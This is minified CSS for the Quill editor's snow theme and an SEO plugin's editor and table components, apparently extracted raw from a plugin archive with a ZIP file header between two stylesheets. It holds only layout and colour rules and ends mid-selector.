.ql-snow.ql-toolbar button,[dir=ltr] .ql-snow .ql-toolbar button{float:left}[dir=rtl] .ql-snow.ql-toolbar button,[dir=rtl] .ql-snow .ql-toolbar button{float:right}.ql-snow.ql-toolbar button svg,.ql-snow .ql-toolbar button svg{height:100%}[dir=ltr] .ql-snow.ql-toolbar button svg,[dir=ltr] .ql-snow .ql-toolbar button svg{float:left}[dir=rtl] .ql-snow.ql-toolbar button svg,[dir=rtl] .ql-snow .ql-toolbar button svg{float:right}.ql-snow.ql-toolbar button:active:hover,.ql-snow .ql-toolbar button:active:hover{outline:none}.ql-snow.ql-toolbar input.ql-image[type=file],.ql-snow .ql-toolbar input.ql-image[type=file]{display:none}.ql-snow.ql-toolbar button:hover,.ql-snow .ql-toolbar button:hover,.ql-snow.ql-toolbar button:focus,.ql-snow .ql-toolbar button:focus,.ql-snow.ql-toolbar button.ql-active,.ql-snow .ql-toolbar button.ql-active,.ql-snow.ql-toolbar .ql-picker-label:hover,.ql-snow .ql-toolbar .ql-picker-label:hover,.ql-snow.ql-toolbar .ql-picker-label.ql-active,.ql-snow .ql-toolbar .ql-picker-label.ql-active,.ql-snow.ql-toolbar .ql-picker-item:hover,.ql-snow .ql-toolbar .ql-picker-item:hover,.ql-snow.ql-toolbar .ql-picker-item.ql-selected,.ql-snow .ql-toolbar .ql-picker-item.ql-selected{color:#06c}.ql-snow.ql-toolbar button:hover .ql-fill,.ql-snow .ql-toolbar button:hover .ql-fill,.ql-snow.ql-toolbar button:focus .ql-fill,.ql-snow .ql-toolbar button:focus .ql-fill,.ql-snow.ql-toolbar button.ql-active .ql-fill,.ql-snow .ql-toolbar button.ql-active .ql-fill,.ql-snow.ql-toolbar .ql-picker-label:hover .ql-fill,.ql-snow .ql-toolbar .ql-picker-label:hover .ql-fill,.ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-fill,.ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-fill,.ql-snow.ql-toolbar .ql-picker-item:hover .ql-fill,.ql-snow .ql-toolbar .ql-picker-item:hover .ql-fill,.ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-fill,.ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-fill,.ql-snow.ql-toolbar button:hover .ql-stroke.ql-fill,.ql-snow .ql-toolbar button:hover .ql-stroke.ql-fill,.ql-snow.ql-toolbar button:focus .ql-stroke.ql-fill,.ql-snow .ql-toolbar button:focus .ql-stroke.ql-fill,.ql-snow.ql-toolbar button.ql-active .ql-stroke.ql-fill,.ql-snow .ql-toolbar button.ql-active .ql-stroke.ql-fill,.ql-snow.ql-toolbar .ql-picker-label:hover .ql-stroke.ql-fill,.ql-snow .ql-toolbar .ql-picker-label:hover .ql-stroke.ql-fill,.ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-stroke.ql-fill,.ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-stroke.ql-fill,.ql-snow.ql-toolbar .ql-picker-item:hover .ql-stroke.ql-fill,.ql-snow .ql-toolbar .ql-picker-item:hover .ql-stroke.ql-fill,.ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-stroke.ql-fill,.ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-stroke.ql-fill{fill:#06c}.ql-snow.ql-toolbar button:hover .ql-stroke,.ql-snow .ql-toolbar button:hover .ql-stroke,.ql-snow.ql-toolbar button:focus .ql-stroke,.ql-snow .ql-toolbar button:focus .ql-stroke,.ql-snow.ql-toolbar button.ql-active .ql-stroke,.ql-snow .ql-toolbar button.ql-active .ql-stroke,.ql-snow.ql-toolbar .ql-picker-label:hover .ql-stroke,.ql-snow .ql-toolbar .ql-picker-label:hover .ql-stroke,.ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-stroke,.ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-stroke,.ql-snow.ql-toolbar .ql-picker-item:hover .ql-stroke,.ql-snow .ql-toolbar .ql-picker-item:hover .ql-stroke,.ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-stroke,.ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-stroke,.ql-snow.ql-toolbar button:hover .ql-stroke-miter,.ql-snow .ql-toolbar button:hover .ql-stroke-miter,.ql-snow.ql-toolbar button:focus .ql-stroke-miter,.ql-snow .ql-toolbar button:focus .ql-stroke-miter,.ql-snow.ql-toolbar button.ql-active .ql-stroke-miter,.ql-snow .ql-toolbar button.ql-active .ql-stroke-miter,.ql-snow.ql-toolbar .ql-picker-label:hover .ql-stroke-miter,.ql-snow .ql-toolbar .ql-picker-label:hover .ql-stroke-miter,.ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-stroke-miter,.ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-stroke-miter,.ql-snow.ql-toolbar .ql-picker-item:hover .ql-stroke-miter,.ql-snow .ql-toolbar .ql-picker-item:hover .ql-stroke-miter,.ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-stroke-miter,.ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-stroke-miter{stroke:#06c}@media (pointer: coarse){.ql-snow.ql-toolbar button:hover:not(.ql-active),.ql-snow .ql-toolbar button:hover:not(.ql-active){color:#444}.ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-fill,.ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-fill,.ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-stroke.ql-fill,.ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-stroke.ql-fill{fill:#444}.ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-stroke,.ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-stroke,.ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-stroke-miter,.ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-stroke-miter{stroke:#444}}.ql-snow,.ql-snow *{box-sizing:border-box}.ql-snow .ql-hidden{display:none}.ql-snow .ql-out-bottom,.ql-snow .ql-out-top{visibility:hidden}.ql-snow .ql-tooltip{position:absolute;transform:translateY(10px)}.ql-snow .ql-tooltip a{cursor:pointer;text-decoration:none}.ql-snow .ql-tooltip.ql-flip{transform:translateY(-10px)}.ql-snow .ql-formats{display:inline-block;vertical-align:middle}.ql-snow .ql-formats:after{clear:both;content:"";display:table}.ql-snow .ql-stroke{fill:none;stroke:#444;stroke-linecap:round;stroke-linejoin:round;stroke-width:2}.ql-snow .ql-stroke-miter{fill:none;stroke:#444;stroke-miterlimit:10;stroke-width:2}.ql-snow .ql-fill,.ql-snow .ql-stroke.ql-fill{fill:#444}.ql-snow .ql-empty{fill:none}.ql-snow .ql-even{fill-rule:evenodd}.ql-snow .ql-thin,.ql-snow .ql-stroke.ql-thin{stroke-width:1}.ql-snow .ql-transparent{opacity:.4}.ql-snow .ql-direction svg:last-child{display:none}.ql-snow .ql-direction.ql-active svg:last-child{display:inline}.ql-snow .ql-direction.ql-active svg:first-child{display:none}.ql-snow .ql-editor h1{font-size:2em}.ql-snow .ql-editor h2{font-size:1.5em}.ql-snow .ql-editor h3{font-size:1.17em}.ql-snow .ql-editor h4{font-size:1em}.ql-snow .ql-editor h5{font-size:.83em}.ql-snow .ql-editor h6{font-size:.67em}.ql-snow .ql-editor a{text-decoration:underline}.ql-snow .ql-editor blockquote{margin-bottom:5px;margin-top:5px}[dir=ltr] .ql-snow .ql-editor blockquote{border-left:4px solid #ccc;padding-left:16px}[dir=rtl] .ql-snow .ql-editor blockquote{border-right:4px solid #ccc;padding-right:16px}.ql-snow .ql-editor code,.ql-snow .ql-editor pre{background-color:#f0f0f0;border-radius:3px}.ql-snow .ql-editor pre{white-space:pre-wrap;margin-bottom:5px;margin-top:5px;padding:5px 10px}.ql-snow .ql-editor code{font-size:85%;padding:2px 4px}.ql-snow .ql-editor pre.ql-syntax{background-color:#23241f;color:#f8f8f2;overflow:visible}.ql-snow .ql-editor img{max-width:100%}.ql-snow .ql-picker{color:#444;display:inline-block;font-size:14px;font-weight:500;height:24px;position:relative;vertical-align:middle}[dir=ltr] .ql-snow .ql-picker{float:left}[dir=rtl] .ql-snow .ql-picker{float:right}.ql-snow .ql-picker-label{cursor:pointer;display:inline-block;height:100%;position:relative;width:100%}[dir=ltr] .ql-snow .ql-picker-label{padding-left:8px;padding-right:2px}[dir=rtl] .ql-snow .ql-picker-label{padding-right:8px;padding-left:2px}.ql-snow .ql-picker-label:before{display:inline-block;line-height:22px}.ql-snow .ql-picker-options{background-color:#fff;display:none;min-width:100%;padding:4px 8px;position:absolute;white-space:nowrap}.ql-snow .ql-picker-options .ql-picker-item{cursor:pointer;display:block;padding-bottom:5px;padding-top:5px}.ql-snow .ql-picker.ql-expanded .ql-picker-label{color:#ccc;z-index:2}.ql-snow .ql-picker.ql-expanded .ql-picker-label .ql-fill{fill:#ccc}.ql-snow .ql-picker.ql-expanded .ql-picker-label .ql-stroke{stroke:#ccc}.ql-snow .ql-picker.ql-expanded .ql-picker-options{display:block;margin-top:-1px;top:100%;z-index:1}.ql-snow .ql-color-picker,.ql-snow .ql-icon-picker{width:28px}.ql-snow .ql-color-picker .ql-picker-label,.ql-snow .ql-icon-picker .ql-picker-label{padding:2px 4px}[dir=ltr] .ql-snow .ql-color-picker .ql-picker-label svg,[dir=ltr] .ql-snow .ql-icon-picker .ql-picker-label svg{right:4px}[dir=rtl] .ql-snow .ql-color-picker .ql-picker-label svg,[dir=rtl] .ql-snow .ql-icon-picker .ql-picker-label svg{left:4px}.ql-snow .ql-icon-picker .ql-picker-options{padding:4px 0}.ql-snow .ql-icon-picker .ql-picker-item{height:24px;width:24px;padding:2px 4px}.ql-snow .ql-color-picker .ql-picker-options{padding:3px 5px;width:152px}.ql-snow .ql-color-picker .ql-picker-item{border:1px solid transparent;height:16px;margin:2px;padding:0;width:16px}[dir=ltr] .ql-snow .ql-color-picker .ql-picker-item{float:left}[dir=rtl] .ql-snow .ql-color-picker .ql-picker-item{float:right}.ql-snow .ql-picker:not(.ql-color-picker):not(.ql-icon-picker) svg{position:absolute;margin-top:-9px;top:50%;width:18px}[dir=ltr] .ql-snow .ql-picker:not(.ql-color-picker):not(.ql-icon-picker) svg{right:0}[dir=rtl] .ql-snow .ql-picker:not(.ql-color-picker):not(.ql-icon-picker) svg{left:0}.ql-snow .ql-picker.ql-header .ql-picker-label[data-label]:not([data-label=""]):before,.ql-snow .ql-picker.ql-font .ql-picker-label[data-label]:not([data-label=""]):before,.ql-snow .ql-picker.ql-size .ql-picker-label[data-label]:not([data-label=""]):before,.ql-snow .ql-picker.ql-header .ql-picker-item[data-label]:not([data-label=""]):before,.ql-snow .ql-picker.ql-font .ql-picker-item[data-label]:not([data-label=""]):before,.ql-snow .ql-picker.ql-size .ql-picker-item[data-label]:not([data-label=""]):before{content:attr(data-label)}.ql-snow .ql-picker.ql-header{width:98px}.ql-snow .ql-picker.ql-header .ql-picker-label:before,.ql-snow .ql-picker.ql-header .ql-picker-item:before{content:"Normal"}.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="1"]:before,.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="1"]:before{content:"Heading 1"}.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="2"]:before,.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="2"]:before{content:"Heading 2"}.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="3"]:before,.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="3"]:before{content:"Heading 3"}.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="4"]:before,.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="4"]:before{content:"Heading 4"}.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="5"]:before,.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="5"]:before{content:"Heading 5"}.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="6"]:before,.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="6"]:before{content:"Heading 6"}.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="1"]:before{font-size:2em}.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="2"]:before{font-size:1.5em}.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="3"]:before{font-size:1.17em}.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="4"]:before{font-size:1em}.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="5"]:before{font-size:.83em}.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="6"]:before{font-size:.67em}.ql-snow .ql-picker.ql-font{width:108px}.ql-snow .ql-picker.ql-font .ql-picker-label:before,.ql-snow .ql-picker.ql-font .ql-picker-item:before{content:"Sans Serif"}.ql-snow .ql-picker.ql-font .ql-picker-label[data-value=serif]:before,.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=serif]:before{content:"Serif"}.ql-snow .ql-picker.ql-font .ql-picker-label[data-value=monospace]:before,.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=monospace]:before{content:"Monospace"}.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=serif]:before{font-family:Georgia,Times New Roman,serif}.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=monospace]:before{font-family:Monaco,Courier New,monospace}.ql-snow .ql-picker.ql-size{width:98px}.ql-snow .ql-picker.ql-size .ql-picker-label:before,.ql-snow .ql-picker.ql-size .ql-picker-item:before{content:"Normal"}.ql-snow .ql-picker.ql-size .ql-picker-label[data-value=small]:before,.ql-snow .ql-picker.ql-size .ql-picker-item[data-value=small]:before{content:"Small"}.ql-snow .ql-picker.ql-size .ql-picker-label[data-value=large]:before,.ql-snow .ql-picker.ql-size .ql-picker-item[data-value=large]:before{content:"Large"}.ql-snow .ql-picker.ql-size .ql-picker-label[data-value=huge]:before,.ql-snow .ql-picker.ql-size .ql-picker-item[data-value=huge]:before{content:"Huge"}.ql-snow .ql-picker.ql-size .ql-picker-item[data-value=small]:before{font-size:10px}.ql-snow .ql-picker.ql-size .ql-picker-item[data-value=large]:before{font-size:18px}.ql-snow .ql-picker.ql-size .ql-picker-item[data-value=huge]:before{font-size:32px}.ql-snow .ql-color-picker.ql-background .ql-picker-item{background-color:#fff}.ql-snow .ql-color-picker.ql-color .ql-picker-item{background-color:#000}.ql-toolbar.ql-snow{border:1px solid #ccc;box-sizing:border-box;font-family:Helvetica Neue,Helvetica,Arial,sans-serif;padding:8px}[dir=ltr] .ql-toolbar.ql-snow .ql-formats{margin-right:15px}[dir=rtl] .ql-toolbar.ql-snow .ql-formats{margin-left:15px}.ql-toolbar.ql-snow .ql-picker-label{border:1px solid transparent}.ql-toolbar.ql-snow .ql-picker-options{border:1px solid transparent;box-shadow:#0003 0 2px 8px}.ql-toolbar.ql-snow .ql-picker.ql-expanded .ql-picker-label,.ql-toolbar.ql-snow .ql-picker.ql-expanded .ql-picker-options{border-color:#ccc}.ql-toolbar.ql-snow .ql-color-picker .ql-picker-item.ql-selected,.ql-toolbar.ql-snow .ql-color-picker .ql-picker-item:hover{border-color:#000}.ql-toolbar.ql-snow+.ql-container.ql-snow{border-top:0px}.ql-snow .ql-tooltip{background-color:#fff;border:1px solid #ccc;box-shadow:0 0 5px #ddd;color:#444;padding:5px 12px;white-space:nowrap}.ql-snow .ql-tooltip:before{content:"Visit URL:";line-height:26px}[dir=ltr] .ql-snow .ql-tooltip:before{margin-right:8px}[dir=rtl] .ql-snow .ql-tooltip:before{margin-left:8px}.ql-snow .ql-tooltip input[type=text]{display:none;border:1px solid #ccc;font-size:13px;height:26px;margin:0;padding:3px 5px;width:170px}.ql-snow .ql-tooltip a.ql-preview{display:inline-block;max-width:200px;overflow-x:hidden;text-overflow:ellipsis;vertical-align:top}.ql-snow .ql-tooltip a.ql-action:after{content:"Edit"}[dir=ltr] .ql-snow .ql-tooltip a.ql-action:after{border-right:1px solid #ccc;margin-left:16px;padding-right:8px}[dir=rtl] .ql-snow .ql-tooltip a.ql-action:after{border-left:1px solid #ccc;margin-right:16px;padding-left:8px}.ql-snow .ql-tooltip a.ql-remove:before{content:"Remove"}[dir=ltr] .ql-snow .ql-tooltip a.ql-remove:before{margin-left:8px}[dir=rtl] .ql-snow .ql-tooltip a.ql-remove:before{margin-right:8px}.ql-snow .ql-tooltip a{line-height:26px}.ql-snow .ql-tooltip.ql-editing a.ql-preview,.ql-snow .ql-tooltip.ql-editing a.ql-remove{display:none}.ql-snow .ql-tooltip.ql-editing input[type=text]{display:inline-block}.ql-snow .ql-tooltip.ql-editing a.ql-action:after{content:"Save"}[dir=ltr] .ql-snow .ql-tooltip.ql-editing a.ql-action:after{border-right:0px;padding-right:0}[dir=rtl] .ql-snow .ql-tooltip.ql-editing a.ql-action:after{border-left:0px;padding-left:0}.ql-snow .ql-tooltip[data-mode=link]:before{content:"Enter link:"}.ql-snow .ql-tooltip[data-mode=formula]:before{content:"Enter formula:"}.ql-snow .ql-tooltip[data-mode=video]:before{content:"Enter video:"}.ql-snow a{color:#06c}.ql-container.ql-snow{border:1px solid #ccc}.aioseo-editor{position:relative}.aioseo-editor .aioseo-append-icon{height:24px;width:24px;position:absolute;top:50%;cursor:pointer}[dir=ltr] .aioseo-editor .aioseo-append-icon{right:0;transform:translate(-50%) translateY(-50%)}[dir=rtl] .aioseo-editor .aioseo-append-icon{left:0;transform:translate(50%) translateY(-50%)}.aioseo-editor .aioseo-append-icon svg{transition:transform .4s ease-in-out;color:#8c8f9a}.aioseo-editor .aioseo-append-icon:hover svg{color:#00aa63}[dir=ltr] .aioseo-editor .aioseo-append-icon:hover svg{transform:rotate(360deg)}[dir=rtl] .aioseo-editor .aioseo-append-icon:hover svg{transform:rotate(-360deg)}.aioseo-editor .aioseo-append-button .aioseo-ai-generator{line-height:0}.aioseo-editor .aioseo-append-button .aioseo-ai-generator>*{line-height:22px}.aioseo-editor .aioseo-append-button button{position:absolute;top:4px;width:32px;height:32px;background-color:#f3f4f5;border:1px solid #D0D1D7;border-radius:4px;cursor:pointer}[dir=ltr] .aioseo-editor .aioseo-append-button button{right:4px}[dir=rtl] .aioseo-editor .aioseo-append-button button{left:4px}.aioseo-editor .aioseo-editor-description .ql-editor{min-height:100px}[dir=ltr] .aioseo-editor .aioseo-editor-line-numbers .ql-editor{padding:15px 15px 15px 45px}[dir=rtl] .aioseo-editor .aioseo-editor-line-numbers .ql-editor{padding:15px 45px 15px 15px}.aioseo-editor .aioseo-editor-single .ql-editor{padding:7px 10px}[dir=ltr] .aioseo-editor .aioseo-editor-single.aioseo-editor-line-numbers .ql-editor{padding:8px 10px 8px 45px}[dir=rtl] .aioseo-editor .aioseo-editor-single.aioseo-editor-line-numbers .ql-editor{padding:8px 45px 8px 10px}.aioseo-editor .aioseo-editor-monospace .ql-editor{font-family:monospace}.aioseo-editor .aioseo-line-numbers{background:#f7f6f7;position:absolute;top:1px;width:29px;display:flex;height:calc(100% - 2px);flex-direction:column;overflow:hidden}[dir=ltr] .aioseo-editor .aioseo-line-numbers{text-align:right;left:1px;border-radius:3px 0 0 3px;padding:15px 9px 0 0}[dir=rtl] .aioseo-editor .aioseo-line-numbers{text-align:left;right:1px;border-radius:0 3px 3px 0;padding:15px 0 0 9px}.aioseo-editor .aioseo-line-numbers div{min-height:25px;color:#8c8f9a;font-size:12px;line-height:1.9}.aioseo-editor .ql-disabled{pointer-events:none;background-color:#f9f9fa}.aioseo-editor .ql-toolbar.ql-snow{display:none}.aioseo-editor .ql-editor{padding:7px 10px;border-radius:3px;font-size:14px;color:#141b38;border:1px solid #D0D1D7;height:auto}.aioseo-editor .ql-editor:focus{border:1px solid #005AE0;box-shadow:0 0 0 1px #005ae0}.aioseo-editor .ql-editor .mention .ql-mention-denotation-char{display:none}.aioseo-editor .ql-editor .mention .aioseo-tag{height:20px;margin:0 1px;color:#141b38;font-weight:600;font-size:12px;line-height:18px;background-color:#f3f4f5;border-radius:3px;cursor:pointer;position:relative;display:inline-flex;align-items:center;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}[dir=ltr] .aioseo-editor .ql-editor .mention .aioseo-tag{padding:0 32px 0 8px}[dir=rtl] .aioseo-editor .ql-editor .mention .aioseo-tag{padding:0 8px 0 32px}.aioseo-editor .ql-editor .mention .aioseo-tag .tag-toggle{display:inline-flex;align-items:center;justify-content:center;width:24px;background-color:#e8e8eb;position:absolute;top:0;bottom:0}[dir=ltr] .aioseo-editor .ql-editor .mention .aioseo-tag .tag-toggle{right:0;border-radius:0 3px 3px 0}[dir=rtl] .aioseo-editor .ql-editor .mention .aioseo-tag .tag-toggle{left:0;border-radius:3px 0 0 3px}.aioseo-editor .ql-editor .mention .aioseo-tag .tag-toggle svg.aioseo-caret{width:18px;height:18px;transition:transform .3s}[dir=ltr] .aioseo-editor .ql-editor .mention .aioseo-tag .tag-toggle svg.aioseo-caret.rotated{transform:rotate(180deg)}[dir=rtl] .aioseo-editor .ql-editor .mention .aioseo-tag .tag-toggle svg.aioseo-caret.rotated{transform:rotate(-180deg)}.aioseo-editor .ql-mention-list-container{color:#141b38;background-color:#fff;max-width:275px;width:100%;margin-top:3px;border:1px solid #D0D1D7;border-radius:3px;box-shadow:0 3px 15px #0000001a;z-index:9001}.aioseo-editor .ql-mention-list-container .aioseo-tag-custom,.aioseo-editor .ql-mention-list-container .aioseo-tag-search{padding:8px;border-bottom:1px solid #E8E8EB}.aioseo-editor .ql-mention-list-container .aioseo-tag-search{display:flex;align-items:center}.aioseo-editor .ql-mention-list-container .aioseo-tag-search input{flex:1}.aioseo-editor .ql-mention-list-container .aioseo-tag-search .prepend-icon svg.aioseo-search{width:12px}.aioseo-editor .ql-mention-list-container .aioseo-tag-search .aioseo-trash{color:#8c8f9a;min-width:24px;max-width:24px;height:24px}[dir=ltr] .aioseo-editor .ql-mention-list-container .aioseo-tag-search .aioseo-trash{margin-left:12px}[dir=rtl] .aioseo-editor .ql-mention-list-container .aioseo-tag-search .aioseo-trash{margin-right:12px}.aioseo-editor .ql-mention-list-container .aioseo-tag-search .aioseo-trash:hover{cursor:pointer;color:#df2a4a}.aioseo-editor .ql-mention-list-container .aioseo-tag-custom{display:none}.aioseo-editor .ql-mention-list-container .ql-mention-list{list-style:none;margin:0;padding:0;max-height:210px;overflow:auto}.aioseo-editor .ql-mention-list-container .ql-mention-list li{color:#141b38;margin:0;background-color:transparent;border-bottom:1px solid #E8E8EB;padding:8px;cursor:pointer;font-size:14px}.aioseo-editor .ql-mention-list-container .ql-mention-list li:last-child{border-bottom:0}.aioseo-editor .ql-mention-list-container .ql-mention-list li:hover,.aioseo-editor .ql-mention-list-container .ql-mention-list li.selected{color:#005ae0;background-color:#f2f7fd}.aioseo-editor .ql-mention-list-container .ql-mention-list li:hover .aioseo-tag-description,.aioseo-editor .ql-mention-list-container .ql-mention-list li.selected .aioseo-tag-description{color:#141b38}.aioseo-editor .ql-mention-list-container .ql-mention-list li .aioseo-tag-item{display:flex}[dir=ltr] .aioseo-editor .ql-mention-list-container .ql-mention-list li .aioseo-tag-item>div:first-child:not(:last-child){margin:1px 13px 1px 5px}[dir=rtl] .aioseo-editor .ql-mention-list-container .ql-mention-list li .aioseo-tag-item>div:first-child:not(:last-child){margin:1px 5px 1px 13px}.aioseo-editor .ql-mention-list-container .ql-mention-list li .aioseo-tag-item .aioseo-tag-title{font-weight:600}.aioseo-editor .ql-mention-list-container .ql-mention-list li .aioseo-tag-item .aioseo-tag-title+.aioseo-tag-description{margin-top:2px}.aioseo-editor .ql-mention-list-container .ql-mention-list li svg.aioseo-plus{width:12px;height:12px;color:#005ae0}.aioseo-editor .ql-mention-list-container .ql-mention-list li.aioseo-tag-no-match{cursor:default;padding:12px;font-size:16px;font-weight:600}.aioseo-editor .ql-mention-list-container .ql-mention-list li.aioseo-tag-no-match:hover,.aioseo-editor .ql-mention-list-container .ql-mention-list li.aioseo-tag-no-match.highlight{color:initial;background-color:transparent}.aioseo-editor .ql-mention-list-container .aioseo-documentation-link{height:39px;display:flex;align-items:center;padding:12px;border-top:1px solid #D0D1D7;font-size:12px;font-weight:700}.aioseo-editor .ql-clipboard{height:1px;overflow-y:hidden;position:absolute;top:50%}[dir=ltr] .aioseo-editor .ql-clipboard{left:-100000px}[dir=rtl] .aioseo-editor .ql-clipboard{right:-100000px}.aioseo-editor .ql-container{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif;height:auto}.aioseo-editor .ql-container p{font-size:14px;margin:0;line-height:25px}.aioseo-editor .ql-container.ql-snow{border:0} PKÉ—[eci‰ää=all-in-one-seo-pack/dist/Lite/assets/css/EeatCta.5Tzm118c.cssnu„[µü¤.redirects-options-table,.topics-table,.alumni-of-table{position:relative;margin:0;border:none;border-radius:3px;width:100%;border-spacing:0;border-collapse:separate;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif;font-size:14px;font-style:normal;font-weight:400;line-height:22px;letter-spacing:0px}[dir=ltr] .redirects-options-table,[dir=ltr] .topics-table,[dir=ltr] .alumni-of-table{text-align:left}[dir=rtl] .redirects-options-table,[dir=rtl] .topics-table,[dir=rtl] .alumni-of-table{text-align:right}.redirects-options-table:after,.topics-table:after,.alumni-of-table:after{content:"";width:100%;height:100%;position:absolute;top:0;border-radius:3px;border:1px solid #D0D1D7;pointer-events:none}[dir=ltr] .redirects-options-table:after,[dir=ltr] .topics-table:after,[dir=ltr] .alumni-of-table:after{left:0}[dir=rtl] .redirects-options-table:after,[dir=rtl] .topics-table:after,[dir=rtl] .alumni-of-table:after{right:0}.redirects-options-table tr td,.topics-table tr td,.alumni-of-table tr td{padding:16px 8px!important;background:#fff;vertical-align:middle!important}[dir=ltr] .redirects-options-table tr td:first-child,[dir=ltr] .topics-table tr td:first-child,[dir=ltr] .alumni-of-table tr td:first-child{padding-left:16px!important}[dir=rtl] .redirects-options-table tr td:first-child,[dir=rtl] .topics-table tr td:first-child,[dir=rtl] .alumni-of-table tr td:first-child{padding-right:16px!important}[dir=ltr] .redirects-options-table tr td:last-child,[dir=ltr] .topics-table tr td:last-child,[dir=ltr] .alumni-of-table tr td:last-child{padding-right:16px!important}[dir=rtl] .redirects-options-table tr td:last-child,[dir=rtl] .topics-table tr td:last-child,[dir=rtl] .alumni-of-table tr td:last-child{padding-left:16px!important}.redirects-options-table tr td.arrow-col,.redirects-options-table tr td.actions,.topics-table tr td.arrow-col,.topics-table tr td.actions,.alumni-of-table tr td.arrow-col,.alumni-of-table tr td.actions{text-align:center}.redirects-options-table tr td.arrow-col div,.topics-table tr td.arrow-col div,.alumni-of-table tr td.arrow-col div{display:flex;height:100%;justify-content:center;align-items:center}.redirects-options-table tr td.actions,.topics-table tr td.actions,.alumni-of-table tr td.actions{width:20px}.redirects-options-table tr td.aliased-domain,.topics-table tr td.aliased-domain,.alumni-of-table tr td.aliased-domain{width:100%}.redirects-options-table tr.even td,.topics-table tr.even td,.alumni-of-table tr.even td{background-color:#f9f9fa}.redirects-options-table thead td,.topics-table thead td,.alumni-of-table thead td{height:50px;padding:0 8px!important;border-bottom:1px solid #D0D1D7;color:#434960!important}[dir=ltr] .redirects-options-table thead td:first-child,[dir=ltr] .topics-table thead td:first-child,[dir=ltr] .alumni-of-table thead td:first-child{border-radius:3px 0 0}[dir=rtl] .redirects-options-table thead td:first-child,[dir=rtl] .topics-table thead td:first-child,[dir=rtl] .alumni-of-table thead td:first-child{border-radius:0 3px 0 0}.redirects-options-table thead td:first-child:last-child,.topics-table thead td:first-child:last-child,.alumni-of-table thead td:first-child:last-child{border-radius:3px 3px 0 0}[dir=ltr] .redirects-options-table thead td:last-child,[dir=ltr] .topics-table thead td:last-child,[dir=ltr] .alumni-of-table thead td:last-child{border-radius:0 3px 0 0}[dir=rtl] .redirects-options-table thead td:last-child,[dir=rtl] .topics-table thead td:last-child,[dir=rtl] .alumni-of-table thead td:last-child{border-radius:3px 0 0}[dir=ltr] .redirects-options-table tbody tr:last-child td:first-child,[dir=ltr] .topics-table tbody tr:last-child td:first-child,[dir=ltr] .alumni-of-table tbody tr:last-child td:first-child{border-radius:0 0 0 3px}[dir=rtl] .redirects-options-table tbody tr:last-child td:first-child,[dir=rtl] .topics-table tbody tr:last-child td:first-child,[dir=rtl] .alumni-of-table tbody tr:last-child td:first-child{border-radius:0 0 3px}[dir=ltr] .redirects-options-table tbody tr:last-child td:last-child,[dir=ltr] .topics-table tbody tr:last-child td:last-child,[dir=ltr] .alumni-of-table tbody tr:last-child td:last-child{border-radius:0 0 3px}[dir=rtl] .redirects-options-table tbody tr:last-child td:last-child,[dir=rtl] .topics-table tbody tr:last-child td:last-child,[dir=rtl] .alumni-of-table tbody tr:last-child td:last-child{border-radius:0 0 0 3px}.redirects-options-table tfoot td,.topics-table tfoot td,.alumni-of-table tfoot td{height:50px!important;padding:0 8px!important;border-top:1px solid #D0D1D7}[dir=ltr] .redirects-options-table tfoot td:first-child,[dir=ltr] .topics-table tfoot td:first-child,[dir=ltr] .alumni-of-table tfoot td:first-child{border-radius:0 0 0 3px}[dir=rtl] .redirects-options-table tfoot td:first-child,[dir=rtl] .topics-table tfoot td:first-child,[dir=rtl] .alumni-of-table tfoot td:first-child{border-radius:0 0 3px}.redirects-options-table tfoot td:first-child:last-child,.topics-table tfoot td:first-child:last-child,.alumni-of-table tfoot td:first-child:last-child{border-radius:0 0 3px 3px}[dir=ltr] .redirects-options-table tfoot td:last-child,[dir=ltr] .topics-table tfoot td:last-child,[dir=ltr] .alumni-of-table tfoot td:last-child{border-radius:0 0 3px}[dir=rtl] .redirects-options-table tfoot td:last-child,[dir=rtl] .topics-table tfoot td:last-child,[dir=rtl] .alumni-of-table tfoot td:last-child{border-radius:0 0 0 3px}[dir=ltr] .redirects-options-table tfoot td .aioseo-button+.aioseo-button,[dir=ltr] 